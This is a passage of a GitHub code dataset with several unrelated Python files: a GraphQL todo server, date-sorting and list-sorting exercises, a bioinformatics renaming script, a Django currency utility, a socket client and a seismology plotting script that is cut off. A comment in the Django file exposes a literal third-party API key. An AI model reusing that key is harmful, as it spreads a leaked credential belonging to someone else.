}\n\n@ariadne.convert_kwargs_to_snake_case\ndef resolve_create_todo(obj, info, name):\n todo = {\"id\": str(uuid.uuid4()), \"name\": name}\n todos.append(todo)\n return {\"success\": True, \"todo\": todo}\n\n@ariadne.convert_kwargs_to_snake_case\ndef resolve_delete_todo(obj, info, todo_id):\n for i, todo in enumerate(todos):\n print(todo_id, todo[\"id\"])\n if todo[\"id\"] == todo_id:\n del todos[i]\n return { \"success\": True }\n return { \"success\": False, \"errors\": [ \"Can't find todo\" ] }\n\nquery = ariadne.ObjectType(\"Query\")\nquery.set_field(\"todos\", resolve_todos)\nquery.set_field(\"todo\", resolve_todo)\n\nmutation = ariadne.ObjectType(\"Mutation\")\nmutation.set_field(\"createTodo\", resolve_create_todo)\nmutation.set_field(\"deleteTodo\", resolve_delete_todo)\n\nschema = ariadne.make_executable_schema(ariadne.load_schema_from_path(\"schema.graphql\"),\n query,\n mutation,\n ariadne.snake_case_fallback_resolvers)\n\n@app.route(\"/graphql\", methods=[\"GET\"])\ndef graphql_playground():\n data = request.args.get(\"query\")\n if data:\n success, result = ariadne.graphql_sync(\n schema,\n {\"query\": data},\n context_value=request,\n debug=app.debug\n )\n\n status_code = 200 if success else 400\n return jsonify(result), status_code\n return ariadne.constants.PLAYGROUND_HTML, 200\n\n@app.route(\"/graphql\", methods=[\"POST\"])\ndef graphql_server():\n data = request.get_json()\n\n success, result = ariadne.graphql_sync(\n schema,\n data,\n context_value=request,\n debug=app.debug\n )\n\n status_code = 200 if success else 400\n return jsonify(result), status_code\n\napp.run(port=8000)\n","repo_name":"czarnota/al","sub_path":"todo-graphql/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36970435882","text":"import time\r\nimport datetime\r\n\r\ndef dt_ymdhm2_epoch(year,month,day,hour,minute):\r\n \"\"\"return datetime in UTC epoch format\"\"\"\r\n t = datetime.datetime(year,month,day,hour,minute)\r\n return time.mktime(t.timetuple())\r\n\r\n\r\n\r\n\r\n\"\"\"\r\nurls.append((dt_ymdhm2_epoch(year=2013,month=10,day=18,hour=0,minute=0),\r\n 'Hello world #1','http://foo.com',2013,10,18,0,0))\r\nurls.append((dt_ymdhm2_epoch(year=2013,month=10,day=2,hour=0,minute=0),\r\n 'First post','http://foo.com/bar',2013,10,2,0,0))\r\nurls.append((dt_ymdhm2_epoch(year=2013,month=10,day=23,hour=0,minute=0),\r\n 'The latest post','http://foo.com/bar/foobar',2013,10,23,0,0))\r\nurls.append((dt_ymdhm2_epoch(year=2013,month=10,day=29,hour=0,minute=0),\r\n 'The very latest post','http://foo.com/bar/foobar',2013,11,29,0,0))\r\nurls.append((dt_ymdhm2_epoch(year=2013,month=10,day=28,hour=0,minute=0),\r\n 'Another post','http://foo.com/bar/foo',2013,11,28,0,0))\r\nurls.append((dt_ymdhm2_epoch(year=2012,month=12,day=25,hour=0,minute=0),\r\n 'testing','http://127.0.0.1',2012,12,25,0,0))\r\nurls.append((dt_ymdhm2_epoch(year=2013,month=4,day=1,hour=0,minute=0),\r\n 'Hello world #1','http://192.168.0.1',2013,4,1,0,0))\r\nurls.append((dt_ymdhm2_epoch(year=2013,month=10,day=20,hour=0,minute=0),\r\n 'First post #3','http://foo.com/bar/1',2013,10,20,0,0))\r\nurls.append((dt_ymdhm2_epoch(year=2013,month=10,day=21,hour=0,minute=0),\r\n 'Hello world #2','http://foo.com',2013,10,21,0,0))\r\n\"\"\"\r\n#for day in urls:\r\n# print(day[0],day[3],day[4],day[5],day[1])\r\n#print(\"\\n\\n\")\r\n\r\n\r\n#for day in sorted(urls, key=lambda epoch: urls[0]):\r\n# print(day[0],day[3],day[4],day[5],day[1])\r\n\r\n\r\n\r\n\r\n#sorted(student_objects, key=lambda student: student.age)\r\n\"\"\"\r\nclass Student:\r\n def __init__(self, name, grade, age):\r\n self.name = name\r\n self.grade = grade\r\n self.age = age\r\n def __repr__(self):\r\n return repr((self.name, self.grade, self.age))\r\n\"\"\"\r\nclass Links:\r\n def __init__(self, epoch, title, url, year, month, day):\r\n self.epoch = epoch\r\n self.title = title\r\n self.url = url\r\n self.year = year\r\n self.month = month\r\n self.day = day\r\n #self.hour = hour\r\n #self.minute = minute\r\n def __repr__(self):\r\n return repr((self.epoch,\r\n self.title,\r\n self.url,\r\n self.year,\r\n self.month,\r\n self.day)) \r\n\r\nurls = []\r\nurls.append(Links(epoch=dt_ymdhm2_epoch(year=2013,month=10,day=18,hour=0,minute=0),title='Hello world #1',url='http://192.168.0.1',year=2013,month=4,day=1))\r\nurls.append(Links(epoch=dt_ymdhm2_epoch(year=2013,month=10,day=2,hour=0,minute=0),title='Hello world #2',url='http://foo.com',year=2013,month=10,day=21))\r\nurls.append(Links(epoch=dt_ymdhm2_epoch(year=2013,month=10,day=23,hour=0,minute=0),title='First post',url='http://foo.com/bar',year=2013,month=10,day=2))\r\nurls.append(Links(epoch=dt_ymdhm2_epoch(year=2013,month=10,day=29,hour=0,minute=0),title='The latest post',url='http://foo.com/bar/foobar',year=2013,month=10,day=23))\r\nurls.append(Links(epoch=dt_ymdhm2_epoch(year=2013,month=10,day=28,hour=0,minute=0),title='The very latest post',url='http://foo.com/bar/foobar',year=2013,month=11,day=29))\r\n\r\nposts = sorted(urls, key=lambda links: links.epoch)\r\nfor post in posts:\r\n print(post.epoch, post.year, post.month, post.day, post.title)\r\nprint(dt_ymdhm2_epoch(year=2013,month=10,day=18,hour=0,minute=0))\r\nprint(dt_ymdhm2_epoch(year=2013,month=10,day=28,hour=0,minute=0))\r\n","repo_name":"peterrenshaw/ng","sub_path":"ng/hack/hack_sort.py","file_name":"hack_sort.py","file_ext":"py","file_size_in_byte":3739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29170425805","text":"\nimport logging\nimport md5\nimport os\n\nfrom pbcore.io import FastaReader\n\nlog = logging.getLogger()\n\ndef fasta_movie_counts( fasta ):\n counts = {'all':0}\n for record in FastaReader( fasta ):\n movie = record.name.split('_')[0]\n counts['all'] += 1\n try:\n counts[movie] += 1\n except:\n counts[movie] = 1\n return counts\n\ndef fofn_file_counts( fasta_fofn ):\n counts = {'all':0}\n with open( fasta_fofn ) as handle:\n for line in handle:\n filename = line.strip()\n movie_name = \".\".join( os.path.basename(filename).split(\".\")[:-1] )\n md5_name = md5.md5(movie_name).hexdigest()[:8]\n for record in FastaReader( filename ):\n movie = record.name.split('/')[0]\n counts['all'] += 1\n try:\n counts[md5_name] += 1\n except:\n counts[md5_name] = 1\n return counts\n\ndef fofn_naming_dict( fasta_fofn ):\n names = {}\n with open( fasta_fofn ) as handle:\n for line in handle:\n filename = line.strip()\n movie_name = \".\".join( os.path.basename(filename).split(\".\")[:-1] )\n md5_name = md5.md5(movie_name).hexdigest()[:8]\n for record in FastaReader( filename ):\n name = record.name.split()[0]\n movie, hole, pos = name.split('/')[0:3]\n start = pos.split('_')[0]\n short_name = '%s_%s_%s' % (md5_name, hole, start)\n names[short_name] = name\n return names\n\ndef write_renaming_key(subread_fofn, renamed_subreads, output_file ):\n \"\"\"\n Create a key for translating HBAR subread names to canonical PacBio names\n \"\"\"\n # Compare the two files to make sure they're equivalent\n raw_counts = fofn_file_counts( subread_fofn )\n new_counts = fasta_movie_counts( renamed_subreads )\n try:\n assert raw_counts == new_counts\n except AssertionError:\n msg = 'The number of raw subreads (%s) does not ' % raw_count + \\\n 'match the number of renamed reads (%s)' % new_count\n log.info( msg )\n raise ValueError( msg )\n # Write out the pairs of names to file\n name_dict = fofn_naming_dict( subread_fofn )\n with open( output_file, 'w') as handle:\n for record in FastaReader(renamed_subreads):\n raw_name = record.name.split()[0]\n new_name = name_dict[raw_name]\n handle.write('%s\\t%s\\n' % (raw_name, new_name))\n return output_file\n\nif __name__ == '__main__':\n import sys\n\n subread_fofn = sys.argv[1]\n renamed_subreads = sys.argv[2]\n output_file = sys.argv[3] if len(sys.argv) > 3 else sys.stdout\n\n write_renaming_key( subread_fofn, renamed_subreads, output_file )\n","repo_name":"bnbowman/HlaTools","sub_path":"src/pbhla/fasta/rename_subreads.py","file_name":"rename_subreads.py","file_ext":"py","file_size_in_byte":2783,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"48"} +{"seq_id":"10729383514","text":"import urllib.request\nimport json\nfrom plan.models import DeviceRam,DeviceInstallment\nfrom phone.models import Country\nfrom django.conf import settings\n# https://www.alphavantage.co/query?function=CURRENCY_EXCHANGE_RATE&from_currency=SAR&to_currency=USD&apikey=NBTZKC4BMHQ3JUDL\n# result['Realtime Currency Exchange Rate']['5. Exchange Rate']\nBASE_API = \"https://freegeoip.app/json/\"\nALPHA_BASE = \"https://www.alphavantage.co/query?function=CURRENCY_EXCHANGE_RATE\"\n\n\ndef get_client_ip(request):\n x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR', None)\n\n if x_forwarded_for:\n ip = x_forwarded_for.split(',')[0]\n else:\n ip = request.META.get('REMOTE_ADDR', '')\n\n return ip\n\n\ndef get_exchange_rate(to_currency,request):\n\n country = request.session['country']\n\n from_currency = Country.active_country.values('default_currency').get(country_code=country).get('default_currency')\n\n if from_currency == to_currency:\n request.session['currency_rate'] = 1\n return 1\n api = \"{base}&from_currency={from_currency}&to_currency={to_currency}&apikey={api_key}\".\\\n format(base=ALPHA_BASE, from_currency=from_currency, to_currency=to_currency,\n api_key=settings.ALPHA_CURRENCY_KEY)\n try:\n result = urllib.request.urlopen(api).read()\n result = json.loads(result)\n rate = result['Realtime Currency Exchange Rate']['5. Exchange Rate']\n request.session['currency_rate'] = float(rate)\n return rate\n except:\n return 1\n\n\ndef get_location_info(request):\n try:\n api = \"{base}{ip}\".format(base=BASE_API, ip=get_client_ip(request))\n result = urllib.request.urlopen(api).read()\n result = json.loads(result)\n return result\n except:\n return None\n\n\ndef get_default_currency(request):\n country_code = None\n curr = None;\n\n try:\n country_code = request.session['country']\n except AttributeError:\n country_code = \"SA\"\n try:\n curr =Country.active_country.values('default_currency').get(country_code=country_code).get('default_currency', 'SAR')\n except:\n curr = 'SAR'\n\n return curr\n\n\ndef get_planphone_count(phone,country):\n return DeviceInstallment.objects.filter(phone__in=DeviceRam.objects.filter(device_phone=phone)).count()\n\n\ndef get_plandevice_count(device):\n\n if hasattr(device, \"plandevice\"):\n return device.plandevice.count()","repo_name":"Aravindhan-M/first_project","sub_path":"utils/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2431,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"38374758305","text":"import socket\r\n\r\nDIS_MSG = \"disconnect\"\r\nFORMAT = \"utf-8\"\r\nHEADER = 64\r\nPORT = 9090\r\nSERVER = \"192.168.1.8\"\r\nADDR = (SERVER, PORT)\r\n\r\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\nclient.connect(ADDR)\r\n\r\ndef send(msg):\r\n message = msg.encode(FORMAT)\r\n msg_length = len(message)\r\n send_length = str(msg_length).encode(FORMAT)\r\n send_length += b' ' * (HEADER - len(send_length))\r\n client.send(send_length)\r\n client.send(message)\r\ndef start():\r\n connetced = True\r\n while connected:\r\n vaule = str(input())\r\n send(vaule)\r\n if vaule == \"disconenct\":\r\n break\r\nstart()","repo_name":"Thatguy87878/Server-Client","sub_path":"Client.py","file_name":"Client.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17412925237","text":"# Funktion Liste sortiert minimum aus und fügt dann grösse nach neue Liste. nicht Methode sort() verwenden!\r\n# Pseudocode Lsg\r\n\"\"\"\r\n1. Originalliste ausgeben\r\n2. leere Ergebnisliste erstellen\r\n3. Algorithmus\r\n- durchsuche Orig.Liste nach minimum und gib die Zahl in ErgebL aus (while)\r\n- lösche dann minimum\r\n- repeat bis Originalliste leer\r\n4. Ausgabe ErgebnisL\r\n\"\"\"\r\nOrgListe = [45, 23, 12.5, 2, 119.23, 44]\r\nErgListe = []\r\nwhile len(OrgListe)!=0:\r\n minimum = min(OrgListe)\r\n ErgListe.append(minimum)\r\n OrgListe.remove(minimum)\r\n print(ErgListe)\r\n\r\n\r\n","repo_name":"HelloRamo/Python","sub_path":"A3_Vertiefung/A3.1.6_sort.py","file_name":"A3.1.6_sort.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13139179735","text":"# 3D Report featuring Specific Energy Plot\r\nfrom obspy.clients.fdsn import Client\r\nfrom obspy.core import UTCDateTime, Stream\r\nfrom obspy.signal import filter\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.ticker import AutoMinorLocator\r\nimport numpy as np\r\nfrom obspy.taup import TauPyModel\r\nimport math\r\nimport cartopy.crs as ccrs\r\nimport cartopy.feature as cfeature\r\nrs = Client('https://data.raspberryshake.org/')\r\n\r\n# Pretty paired colors. Reorder to have saturated colors first and remove\r\n# some colors at the end. This cmap is compatible with obspy taup\r\ncmap = plt.get_cmap('Paired', lut=12)\r\nCOLORS = ['#%02x%02x%02x' % tuple(int(col * 255) for col in cmap(i)[:3]) for i in range(12)]\r\nCOLORS = COLORS[1:][::2][:-1] + COLORS[::2][:-1]\r\ndef plot_arrivals(ax, d1):\r\n y1 = -1\r\n axb, axt = ax.get_ylim() # calculate the y limits of the graph\r\n for q in range(0, no_arrs): #plot each arrival in turn\r\n x1 = arrs[q].time # extract the time to plot\r\n if (x1 >= delay):\r\n if x1 < delay+duration:\r\n ax.axvline(x=x1-d1, linewidth=0.7, linestyle='--', color=COLORS[q % len(COLORS)]) # draw a vertical line\r\n if y1 < 0 or y1 < axt/2: # alternate top and bottom for phase tags\r\n y1 = axt*0.8\r\n else:\r\n y1 = axb*0.95\r\n ax.text(x1-d1,y1,arrs[q].name, alpha=0.7, color=COLORS[q % len(COLORS)]) # print the phase name\r\n x1 = rayt #plot the Rayleight Surface Wave arrival\r\n if (x1>=delay):\r\n if x1 < delay+duration:\r\n ax.axvline(x=x1-d1, linewidth=0.5, linestyle='--', color='black') # draw a vertical line\r\n if y1 < 0 or y1 < axt/2: # alternate top and bottom for phase tags\r\n y1 = axt*0.8\r\n else:\r\n y1 = axb*0.95\r\n ax.text(x1-d1,y1,'Ray', alpha=0.5) # print the phase name\r\n\r\ndef time2UTC(a): # convert time (seconds) since event back to UTCDateTime\r\n return eventTime + a\r\n\r\ndef uTC2time(a): # convert UTCDateTime to seconds since the event\r\n return a - eventTime\r\n\r\ndef one_over(a): # 1/x to convert frequency to period\r\n # Vectorized 1/a, treating a==0 manually\r\n a = np.array(a).astype(float)\r\n near_zero = np.isclose(a, 0)\r\n a[near_zero] = np.inf\r\n a[~near_zero] = 1 / a[~near_zero]\r\n return a\r\n\r\ninverse = one_over # function 1/x is its own inverse\r\n\r\ndef plot_noiselims(ax, uplim, downlim):\r\n axl, axr = ax.get_xlim()\r\n ax.axhline(y=uplim, lw=0.33, color='r', linestyle='dotted') # plot +1 SD\r\n ax.axhline(y=uplim*2, lw=0.33, color='r', linestyle='dotted') # plot +2 SD\r\n ax.axhline(y=uplim*3, lw=0.33, color='r', linestyle='dotted') # plot upper background noise limit +3SD\r\n ax.axhline(y=downlim, lw=0.33, color='r', linestyle='dotted') # plot -1 SD\r\n ax.axhline(y=downlim*2, lw=0.33, color='r', linestyle='dotted') # plot -2SD\r\n ax.axhline(y=downlim*3, lw=0.33, color='r', linestyle='dotted') # plot lower background noise limit -3SD\r\n ax.text(axl, uplim*3,'3SD background', size='xx-small', color='r',alpha=0.5, ha='left', va='bottom')\r\n ax.text(axl, downlim*3, '-3SD background', size='xx-small', color='r', alpha=0.5, ha='left', va='top')\r\n\r\ndef plot_se_noiselims(ax, uplim):\r\n axl, axr = ax.get_xlim()\r\n ax.axhline(y=uplim, lw=0.33, color='r', linestyle='dotted') # plot +1 SD\r\n ax.axhline(y=uplim*2*2, lw=0.33, color='r', linestyle='dotted') # plot +2 SD\r\n ax.axhline(y=uplim*3*3, lw=0.33, color='r', linestyle='dotted') # plot upper background noise limit +3SD\r\n ax.axhline(y=0, lw=0.33, color='r', linestyle='dotted') # plot 0 limit in case data has no zero\r\n ax.text(axl, uplim*3*3,'3SD background', size='xx-small', color='r',alpha=0.5, ha='left', va='bottom')\r\n\r\ndef divTrace(tr, n): # divide trace into n equal parts for background noise determination\r\n return tr.__div__(n)\r\n\r\n#enter event data\r\neventTime = UTCDateTime(2023, 7, 2, 10, 27, 43) # (YYYY, m, d, H, M, S) **** Enter data****\r\nlatE = -17.9 # quake latitude + N -S **** Enter data****\r\nlonE = -174.9 # quake longitude + E - W **** Enter data****\r\ndepth = 229 # quake depth, km **** Enter data****\r\nmag = 6.9 # quake magnitude **** Enter data****\r\neventID = 'rs2023mwwzcd' # ID for the event **** Enter data****\r\nlocE = \"Tonga Islands\" # location name **** Enter data****\r\n\r\n# set the station name and download the response information\r\nstn = 'RB59E' # your station name\r\ninv = rs.get_stations(network='AM', station=stn, level='RESP') # get the instrument response\r\nk=0\r\nwhile True: #loop until the active epoch is found\r\n sta = inv[0][k] #station metadata\r\n staOK = sta.is_active(time=eventTime)\r\n if staOK:\r\n break\r\n k += 1\r\nlatS = sta.latitude # station latitude\r\nlonS = sta.longitude # station longitude\r\neleS = sta.elevation # station elevation\r\n \r\n# Setup the data plot\r\ndelay = 200 # delay the start of the plot from the event **** Enter data****\r\nduration = 900 # duration of plots **** Enter data****\r\n\r\nnotes1 = \"\" # add notes to the diagram. max one \\n per note.\r\nnotes2 = \"\"\r\nnotes3 = \"\"\r\npsd = True # True to plot PSD, False to plot FFT **** Enter data****\r\n\r\n# set up the traces and ray paths\r\nplot_envelopes = False # plot envelopes on traces\r\nallphases = True # true if all phases to be plotted, otherwise only those in the plotted time window are plotted **** Enter data****\r\nsave_plot = False # Set to True when plot is readyto be saved\r\n\r\nstart = eventTime + delay # calculate the plot start time from the event and delay\r\nend = start + duration # calculate the end time from the start and duration\r\n\r\n# set background noise sample times (choose a section of minimum velocity amplitude to represent background noise)\r\nbnS = 900 # enter time of start of background noise sample (default = 0) **** Enter data****\r\nbnE = 600 # enter time of end of background noise sample (default = 600) **** Enter data****\r\nbnstart = eventTime - bnS \r\nbnend = eventTime + bnE \r\n\r\n# bandpass filter - select to suit system noise and range of quake\r\n#filt = [0.1, 0.1, 0.8, 0.9]\r\n#filt = [0.3, 0.3, 0.8, 0.9]\r\n#filt = [0.5, 0.5, 2, 2.1]\r\nfilt = [0.69, 0.7, 2, 2.1] # distant quake\r\n#filt = [0.7, 0.7, 3, 3.1]\r\n#filt = [0.7, 0.7, 4, 4.1]\r\n#filt = [0.7, 0.7, 6, 6.1]\r\n#filt = [0.7, 0.7, 8, 8.1]\r\n#filt = [1, 1, 10, 10.1]\r\n#filt = [1, 1, 20, 20.1]\r\n#filt = [3, 3, 20, 20.1] # use for local quakes\r\n\r\n# set the FDSN server location and channel names\r\nchannels = ['EHZ', 'EHE', 'EHN'] # ENx = accelerometer channels; EHx or SHZ = geophone channels\r\n\r\n# get waveforms and copy it for independent removal of instrument response\r\nst = Stream()\r\nfor ch in channels:\r\n trace = rs.get_waveforms('AM', stn, '00', ch, start, end)\r\n st += trace\r\nst.merge(method=0, fill_value='latest') # fill in any gaps in the data to prevent a crash\r\nst.detrend(type='demean') # demean the data\r\nrawtrace = st[2].copy() # save a raw copy of the trace for the spectrogram\r\n\r\n# get waveforms for background noise and copy it for independent removal of instrument response\r\nbnst = Stream()\r\nfor ch in channels:\r\n trace = rs.get_waveforms('AM', stn, '00', ch, start, end)\r\n bnst += trace\r\nbnst.merge(method=0, fill_value='latest') # fill in any gaps in the data to prevent a crash\r\nbnst.detrend(type='demean') # demean the data\r\n\r\n# calculate great circle angle of separation\r\n# convert angles to radians\r\nlatSrad = math.radians(latS)\r\nlonSrad = math.radians(lonS)\r\nlatErad = math.radians(latE)\r\nlonErad = math.radians(lonE)\r\n\r\nif lonSrad > lonErad:\r\n lon_diff = lonSrad - lonErad\r\nelse:\r\n lon_diff = lonErad - lonSrad\r\n\r\ngreat_angle_rad = math.acos(math.sin(latErad)*math.sin(latSrad)+math.cos(latErad)*math.cos(latSrad)*math.cos(lon_diff))\r\ngreat_angle_deg = math.degrees(great_angle_rad) #great circle angle between quake and station\r\ndistance = great_angle_rad*12742/2 #calculate distance between quake and station in km\r\n\r\n# Calculate the Phase Arrivals\r\nmodel = TauPyModel(model='iasp91')\r\narrs = model.get_travel_times(depth, great_angle_deg)\r\nprint(arrs) # print the arrivals for reference when setting delay and duration\r\nno_arrs = len(arrs) # the number of arrivals\r\n\r\n# calculate Rayleigh Wave arrival Time\r\nrayt = distance/2.96\r\nprint(\"Rayleigh Arrival Time: \", rayt)\r\n\r\n# Calculate Earthquake Total Energy\r\nqenergy = 10**(1.5*mag+4.8)\r\n\r\n# Remove instrument response\r\nst.remove_response(inventory=inv,pre_filt=filt,output='VEL',water_level=60, plot=False)\r\n\r\n# Calculate maximums\r\ne_max = st[0].max()\r\nn_max = st[1].max()\r\nz_max = st[2].max()\r\nse_max = (z_max*z_max+e_max*e_max+n_max*n_max)/2\r\n\r\n# Create background noise traces\r\nbn = bnst.remove_response(inventory=inv,pre_filt=filt,output='VEL',water_level=60, plot=False)\r\n\r\n# Calculate background noise limits using standard deviation\r\nbnsamp = 15 # sample size in seconds\r\nbns = int((bnend - bnstart)/bnsamp) # calculate the number of samples in the background noise traces\r\nbnz = divTrace(bn[2],bns) # divide the displacement background noise trace into equal traces\r\nbne = divTrace(bn[0],bns) # divide the velocity background noise trace into equal traces\r\nbnn = divTrace(bn[1],bns) # divide the acceleration background noise trace into equal traces\r\nfor j in range (0, bns): # find the sample interval with the minimum background noise amplitude\r\n if j == 0:\r\n bnZstd = abs(bnz[j].std())\r\n bnEstd = abs(bne[j].std())\r\n bnNstd = abs(bnn[j].std())\r\n elif abs(bnz[j].std()) < bnZstd:\r\n bnZstd = abs(bnz[0].std())\r\n elif abs(bne[j].std()) < bnEstd:\r\n bnEstd = abs(bne[j].std())\r\n elif abs(bnn[j].std()) < bnNstd:\r\n bnNstd = abs(bnn[j].std())\r\nbnsestd = (bnZstd*bnZstd+bnEstd*bnEstd+bnNstd*bnNstd)/2 # calculate the max background noise level for the specific energy\r\n\r\n# Create Signal Envelopes\r\nz_env = filter.envelope(st[2].data) # create displacement envelope\r\ne_env = filter.envelope(st[0].data) # create velocity envelope\r\nn_env = filter.envelope(st[1].data) # create acceleration envelope\r\nse_env=(z_env*z_env+e_env*e_env+n_env*n_env)/2 # create specific energy envelope from velocity envelope! - comment out undesired method.\r\n\r\n# set up map plot\r\nif great_angle_deg <5: #set satellite height based on separation\r\n sat_height = 1000000\r\nelif great_angle_deg <25:\r\n sat_height = 10000000\r\nelif great_angle_deg >120:\r\n sat_height = 100000000000\r\nelif great_angle_deg >90:\r\n sat_height = 1000000000\r\nelse:\r\n sat_height = 100000000\r\n \r\nlatC = (latE+latS)/2 # latitude 1/2 way between station and event/earthquake - may need adjusting!\r\nlonC = (lonE+lonS)/2 # longitude 1/2 way between station and event/earthquake - may need adjusting!\r\nif abs(lonE-lonS) > 180:\r\n lonC = lonC + 180\r\nprojection=ccrs.NearsidePerspective(\r\n central_latitude=latC,\r\n central_longitude=lonC,\r\n satellite_height=sat_height) # adjust satellite height to best display station and event/earthquake\r\nprojection._threshold = projection._threshold/20 #reduce threshold so great circle lines are smooth\r\n\r\n# set up plot\r\nfig = plt.figure(figsize=(20,14), dpi=150) # set to page size in inches\r\nax1 = fig.add_subplot(6,2,1) # displacement waveform\r\nax2 = fig.add_subplot(6,2,3) # velocity Waveform\r\nax3 = fig.add_subplot(6,2,5) # acceleration waveform\r\nax6 = fig.add_subplot(6,2,7) # specific energy waveform \r\nax4 = fig.add_subplot(6,2,9) # velocity spectrogram\r\nax5 = fig.add_subplot(6,2,11) # velocity PSD\r\nax7 = fig.add_subplot(6,2,(2,6), polar=True) # TAUp plot\r\nax8 = fig.add_subplot(6,2,(8,12), projection=projection)\r\nfig.suptitle(\"M\"+str(mag)+\" Earthquake - \"+locE+\" - \"+eventTime.strftime(' %d/%m/%Y %H:%M:%S UTC'), weight='black', color='b', size='x-large') #Title of the figure\r\nfig.text(0.05, 0.95, \"Filter: \"+str(filt[1])+\" to \"+str(filt[2])+\"Hz\") # Filter details\r\nfig.text(0.51, 0.055, 'Separation = '+str(round(great_angle_deg,3))+u\"\\N{DEGREE SIGN}\"+' or '+str(int(distance))+'km.') #distance between quake and station\r\nfig.text(0.51, 0.04, 'Latitude: '+str(latE)+u\"\\N{DEGREE SIGN}\"+' Longitude: '+str(lonE)+u\"\\N{DEGREE SIGN}\"+' Depth: '+str(depth)+'km.') #quake lat, lon and depth\r\nfig.text(0.51, 0.07, 'Quake Energy: '+f\"{qenergy:0.1E}\"+'J.') #Earthquake energy\r\nfig.text(0.7, 0.95, 'Event ID: '+eventID)\r\nfig.text(0.95, 0.95, 'Station: AM.'+stn, ha='right',size='large')\r\nfig.text(0.95, 0.935, 'Raspberry Shake 3D', color='r', ha='right')\r\nfig.text(0.95, 0.92, '#ShakeNet', ha='right')\r\nfig.text(0.95, 0.905, '@raspishake', ha='right')\r\nfig.text(0.95, 0.89, '@AlanSheehan18', ha='right')\r\nfig.text(0.95, 0.875, '@matplotlib', ha='right')\r\nfig.text(0.98, 0.86, '#Python', ha='right')\r\nfig.text(0.98, 0.845, '#CitizenScience', ha='right')\r\nfig.text(0.98, 0.83, '#Obspy', ha='right')\r\nfig.text(0.98, 0.815, '#Cartopy', ha='right')\r\n\r\n# plot logos\r\npics = \"D:/Pictures/Raspberry Shake and Boom/\"\r\nrsl = plt.imread(\"RS logo.png\")\r\ntwl = plt.imread(\"twitter logo.png\")\r\nnewaxr = fig.add_axes([0.935, 0.915, 0.05, 0.05], anchor='NE', zorder=-1)\r\nnewaxr.imshow(rsl)\r\nnewaxr.axis('off')\r\nnewaxt = fig.add_axes([0.943, 0.878, 0.04, 0.04], anchor='NE', zorder=-1)\r\nnewaxt.imshow(twl)\r\nnewaxt.axis('off')\r\n\r\n# perspective map viewing height\r\nfig.text(0.885, 0.05, 'Satellite Viewing Height = '+str(int(sat_height/1000))+' km.', rotation=90)\r\n\r\n# print notes\r\nfig.text(0.90, 0.03, 'NOTES: '+notes1, rotation=90) # add any notes about the report **** Enter data****\r\nfig.text(0.917, 0.03, notes2, rotation=90) # add any notes about the report **** Enter data****\r\nfig.text(0.934, 0.03, notes3, rotation=90) # add any notes about the report **** Enter data****\r\n\r\n# end trace notes and maxima\r\nfig.text(0.48, 0.715, 'East / West', size='x-small',rotation=90, va='center')\r\nfig.text(0.485, 0.715, 'Velocity', size='x-small',rotation=90, va='center')\r\nfig.text(0.48, 0.87, 'Vertical', size='x-small',rotation=90, va='center')\r\nfig.text(0.485, 0.87, 'Velocity', size='x-small',rotation=90, va='center')\r\nfig.text(0.48, 0.56, 'North South', size='x-small',rotation=90, va='center')\r\nfig.text(0.485, 0.56, 'Velocity', size='x-small',rotation=90, va='center')\r\nfig.text(0.48, 0.41, 'E/m = v²/2', size='x-small',rotation=90, va='center')\r\nfig.text(0.485, 0.41, 'For weak arrivals', size='x-small',rotation=90, va='center')\r\nfig.text(0.49, 0.87, 'Max Z = '+f\"{z_max:.3E}\"+' m/s', size='small',rotation=90, va='center',color='b')\r\nfig.text(0.49, 0.715, 'Max E = '+f\"{e_max:.3E}\"+' m/s', size='small',rotation=90, va='center',color='g')\r\nfig.text(0.49, 0.56, 'Max N = '+f\"{n_max:.3E}\"+' m/s', size='small',rotation=90, va='center',color='r')\r\nfig.text(0.49, 0.41, 'Max SE = '+f\"{se_max:.3E}\"+' J/kg', size='small',rotation=90, va='center',color='purple')\r\nfig.text(0.48, 0.253, 'Unfiltered Spectrogram', size='x-small', rotation=90, va='center')\r\n\r\n# print signal to noise ratios\r\nfig.text(0.495, 0.87, 'S/N = '+f\"{abs(z_max/(3*bnZstd)):.3}\", size='x-small', rotation=90, va='center', color='b')\r\nfig.text(0.495, 0.715, 'S/N = '+f\"{abs(e_max/(3*bnEstd)):.3}\", size='x-small', rotation=90, va='center', color='g')\r\nfig.text(0.495, 0.56, 'S/N = '+f\"{abs(n_max/(3*bnNstd)):.3}\", size='x-small', rotation=90, va='center', color='r')\r\nfig.text(0.495, 0.41, 'S/N = '+f\"{abs(se_max/(3*bnsestd)):.3}\", size='x-small', rotation=90, va='center', color='purple')\r\n\r\n# print backgrround noise data\r\nfig.text(0.51, 0.3, 'Background Noise:', size='small')\r\nfig.text(0.51, 0.29, 'Z (vertical):', color='b', size='small')\r\nfig.text(0.51, 0.28, 'SD = '+f\"{bnZstd:.3E}\"+' m/s', color='b', size='small')\r\nfig.text(0.51, 0.27, '3SD = '+f\"{(3*bnZstd):.3E}\"+' m/s', color='b', size='small')\r\nfig.text(0.51, 0.26, 'E (East/West):', color='g', size='small')\r\nfig.text(0.51, 0.25, 'SD = '+f\"{bnEstd:.3E}\"+' m/s', color='g', size='small')\r\nfig.text(0.51, 0.24, '3SD = '+f\"{(3*bnEstd):.3E}\"+' m/s', color='g', size='small')\r\nfig.text(0.51, 0.23, 'N (North/South):', color='r', size='small')\r\nfig.text(0.51, 0.22, 'SD = '+f\"{bnNstd:.3E}\"+' m/s', color='r', size='small')\r\nfig.text(0.51, 0.21, '3SD = '+f\"{(3*bnNstd):.3E}\"+' m/s', color='r', size='small')\r\nfig.text(0.51, 0.20, 'Specific Energy:', color='g', size='small')\r\nfig.text(0.51, 0.19, 'SD = 